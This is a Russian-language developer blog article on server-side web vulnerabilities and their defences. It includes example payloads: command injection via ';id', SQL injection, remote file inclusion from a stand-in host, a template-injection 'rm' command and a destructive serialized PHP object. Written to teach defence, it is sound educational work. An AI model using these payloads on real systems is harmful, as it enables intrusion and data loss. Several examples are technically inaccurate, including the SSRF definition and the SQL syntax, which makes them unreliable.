Привет, Хабр! На связи Виталий Киреев, руководитель R&D SpaceWeb. В статье я расскажу про главные уязвимости Server Side, покажу примеры и объясню, как защищать данные.
Принцип отбора бэкенд-уязвимостей
Тему с веб-уязвимостями мы решили раскрыть после нашей недавней статьи на Хабре. В ней мы рассказали о том, как ввели собственную методологию обучения веб-безопасности для новых сотрудников, но не останавливались детально на каждой веб-уязвимости. Но теперь настало время погрузиться глубже.
В стандарты веб-безопасности Server Side в SpaceWeb входит 6 типов уязвимостей. За основу мы взяли стандарты OWASP — международной некоммерческой организации, которая занимается вопросами обеспечения безопасности веб-приложений. Изучили весь список уязвимостей и отобрали только те, которые актуальны для нашего стека (PHP, Python, MySQL) и нашего проекта с учётом того, что он легаси и поддерживается уже больше 15 лет. Остановимся на них подробнее.
RCE (Remote Code Execution) — инъекция кода
Используя эту уязвимость, хакер сможет внедрить свой код на сервер и выполнять любые команды, как если бы он был легальным пользователем.
Например, если в приложении можно выполнять команды через интерфейс пользователя, и эти команды передаются на сервер без должной проверки — хакер может использовать это для внедрения вредоносного кода.
Чтобы воспользоваться уязвимостью, часто используют SQL-инъекции. А еще функцию exec, которая передает параметр, в котором можно сделать инъекцию shell-кода.
Пример 1:
Возьмем уязвимый скрипт. Ему передается домен, и он проверяет сервер, на котором расположен домен на доступность:
$domain = $_GET['domain'];
print(shell_exec("ping -c 1 $domain"));
Но если мы к домену через ";" добавим Linux команду, то shell_exec ее тоже выполнит. Пример:
# curl -s https://site.ru/script.php?domain=sweb.ru;id
PING sweb.ru(2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15)) 56 data bytes
64 bytes from 2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15): icmp_seq=1 ttl=60 time=1.31 ms
--- sweb.ru ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.312/1.312/1.312/0.000 ms
uid=0(root) gid=0(root) groups=0(root)
В этом случае у нас помимо пинга, выполнилась еще и команда id.
Пример 2:
Код в проекте:
$pdo->query(‘SELECT * FROM user WHERE name = ‘ . $_GET[‘name’])
Вызов скрипта:
script.php?name=aa+UNION+TRUNCATE+users --
Результат SQL-инъекции: будет удалена таблица users.
Как можно защититься:
Никогда не используем входящие данные для прямого конструирования запросов к другим сервисам, например MySQL.
Запрещаем использовать команды, работающие с shell: exec, system, shell_exec, passthru, pctrl_exec, eval.
LFI/RFI (Local/Remote File Inclusion) — подключение файлов
Local File Inclusion — с помощью этой уязвимости злоумышленник может изменить путь к файлам на сервере в URL-адресе и получить доступ к ним. Обычно эта проблема возникает из-за недостаточной фильтрации входящих данных.
Пример:
Код в проекте:
$file = $_GET['template'];
include($file);
Вызов скрипта:
/view.php?template=admin.php
Результат: можно будет подключить любой файл из проекта
Remote File Inclusion — тут хакер может внедрить внешний файл на сервер. Работает это так: отправляется запрос, включающий ссылку на внешний файл с вредоносным кодом, и код выполняется на сервере.
Пример:
Код в проекте:
$file = $_GET['template'];
include($file);
Вызов скрипта:
/view.php?template=http://some.site/remote_code.php
Важно отметить, что php на стороне злоумышленника не должен выполняться и не должен быть установлен, то есть код файла должен отдаваться в чистом виде.
Результат: можно будет подключить вредоносный код с другого сайта для выполнения на вашем.
Как можно защититься:
Не подключаем файлы по относительным путям. Для защиты фильтруем путь на наличие "/../" и "/./".
Запрещаем внешние allow_url_include в php.ini
В принципе проверяем, что подключаем на разрешенные значения. Как это сделать:
<?php
$file = $_GET['file'];
if(in_array($file,['file1', 'file2'])){
include(dirname(__FILE__).'/'.$file.'.php');
}
SSTI (Server-Side Template Injection) — инъекция в шаблоны
Шаблонизаторы на стороне backend очень функциональные — они могут выполнять действия и получать доступ к различным файлам. Так, хакер может внедрить код в поле ввода или в URL-адрес и заставить сервер выполнить его как часть шаблона.
Пример:
Код в проекте использует отображение поискового запроса в шаблоне (параметр query).
Вызов скрипта:
/search?query={{import os; os.system('rm some_file')}}
Результат: шаблонизатор выполнит переданный код, как команду и удалит some_file.
Как можно защититься:
Своевременно обновляем шаблонизаторы. Например, у Twig новые версии выходят несколько раз в год. Тут важно смотреть пометки от разработчиков, что версия может иметь замечания по безопасности.
Отправляем в шаблон только проверенные переменные.
Пример проверенных переменных на Python:
import html
# строка sanitized_str будет содержать
# экранированные символы html
sanitized_str = html.escape(input_str)
SSRF (Server-Side Request Forgery) — подделка запросов
Через эту уязвимость хакеры могут с помощью снифферов и прокси вычислять, какой запрос выполняется, и подделывать данные в нем. Наиболее уязвимыми будут веб-приложения, которые взаимодействуют со сторонними сервисами или загружают данные по ссылкам.
Пример:
Запрос к API:
{"action":"removeAccount","user":"aaaa"}
Изменяем запрос, чтобы удалить чужой аккаунт:
{"action":"removeAccount","user":"bbbb"}
Как можно защититься:
Никогда не доверяем данным, которые получили извне. Если есть возможность установить белый список адресов для обращения, делаем это. В случае, когда нет возможности ограничить адреса, исключаем обращение к внешним ресурсам.
Обязательно фильтрацию данных. Если нужно, дополнительно проверяем или очищаем их.
IDOR (Insecure Direct Object References) — несанкционированный доступ
Уязвимость дает доступ к данным, которые в нормальной ситуации закрыты для пользователя. Обычно используют доступ к данным по определенному референсу.
Например, у нас может быть ссылка на редактирование аккаунта пользователя. С помощью IDOR хакер сможет заменить эту ссылку на редактирование другого пользователя. При этом веб-приложение никак не уведомит нас о уязвимости, и обнаружить ее будет непросто.
Пример:
Просмотр своего заказа в интернет-магазине:
http://some.site/order?id=1111
Заменяем номер заказа и просматриваем чужой:
http://some.site/order?id=2222
Как можно защититься:
Проверяем и ограничиваем доступ к управлению объектами.
Проверяем все endpoint, заголовки и cookie — те параметры, которые можно подделать с отправляющей стороны.
PHP Object Injection — инъекция объекта
В PHP есть возможность сериализовать и рассериализовывать объекты — преобразовывать их в текстовый или иной вид, чтобы потом передавать объекты на сервер. Нюанс уязвимости в том, что иногда в этих объектах может содержаться деструктивный код.
Например, у нас есть деструктивный класс, который что-то удаляет. В случае вызова скрипта, который принимается за сериализованные данные, мы сериализуем туда вместо валидных данных тот самый деструктивный класс, который будет выполнять код на стороне клиентского сервиса. Когда полученные данные рассериализуются, в моменте ничего страшного не произойдет. Но когда скрипт завершит работу, и все деструкторы выполнятся — вредоносное действие тоже завершится.
Пример:
Так может готовиться вредоносный код:
class Example1
{
function __destruct()
{
$file = "/some/file";
@unlink($file);
}
}
$Example1 = new Example1();
Вызов уязвимого скрипта с передачей вредоносного кода:
file_get_contents('http://some.site/script.php?data=' + urlencode(serialize($Example1)));
Результат: в уязвимом скрипте выполнится рассериализация данных, а в завершении скрипта выполнится деструктор.
Как можно защититься:
Никогда не доверяйте данным, полученным извне.
Используйте JSON.
Памятка: как защищаться от уязвимостей Server Side
Не доверяем никаким входным данным (GET, POST, COOKIE).
Очищаем входные данные через с помощью экранирования или фильтрации.
Не создаем неопределенные объекты, которые зависят от внешних данных, без дополнительной проверки. Пример — доступ к файлам через параметры.
Не используем без жесткой необходимости функции, работающие с системной командной оболочкой. Если без этого не обойтись, используйте их только для доверенных внутренних сервисов.
Не выдаваем права на изменения файлов проекта пользователю, из-под которого этот проект работает. Выполняемые скрипты могут содержаться в области, доступной для веб-сервера, и если мы даем права на изменение проекта, это может стать потенциальной уязвимостью.
Как защитить пользовательские данные
Если говорить про бэкенд-часть, есть несколько важных принципов:
Не храним пароли и ключи в незашифрованном виде.
При любых действиях с данным проверяем полномочия аккаунта, который пытается внести изменения. Например, один пользователь не должен иметь прав на редактирование профиля или заказов другого пользователя.
Проводим ежедневный бэкап.